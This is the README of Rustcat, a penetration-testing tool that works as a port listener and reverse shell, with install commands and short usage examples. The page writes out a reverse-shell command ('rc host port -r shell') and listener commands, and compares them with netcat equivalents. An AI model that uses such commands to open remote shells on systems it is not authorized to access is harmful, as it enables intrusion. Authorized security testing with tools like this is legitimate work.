GitHub All Releases GitHub Latest Release AUR version Crates.io GitHub All Releases Build Stats

| Cargo | Arch Linux | BlackArch | Debian/Kali |:-------------------------------------:|:-------------------------------------:|:-------------------------------------:|:-------------------------------------:| | ![cargoimg] | ![archimg] | ![barchimg] | ![kaliimg] | | cargo install rustcat | yay -S rustcat | pacman -S rustcat | Read the install guide| | Other | | | | | ![other_img] | | | | | Read the install guide | | | |


🤔 What Is Rustcat?

Ex

🎨 Rustcat is a modern port listener & Reverse Shell that is very easy to use.

✨ Features

⚙️ Why Rustcat?

👶 Everything Easy

Ex

Starting a listener is just as simple as rc -lp port. While in netcat you would do something like nc -nlvp port to get the same results.

And creating a reverse shell has never been easier, rc host port -r shell is all you need. No more long /dev/tcp stuff that you always forget.

📃 Command History

Ex

Command history is something we all need. How annoying isn't it when you accidently type a long command wrong, then you have to rewrite the entire thing.

But Rustcat fixes that with command history. Just add -H and you will get command history (rc -lHp port) and command completion, unlike netcat where you have to use another application and do rlwrap -cAr nc -nlvp port to get the same results.

When adding -H, the shell will almost work like a ssh shell.

🎨 Appearance

A little splash of color doesn't hurt :).

🌀 Cross Platform

Rustcat supports unix and windows systems.

📖 Installation Guide

You can find the guide here

💡 Usage

A basic usage guide can be found here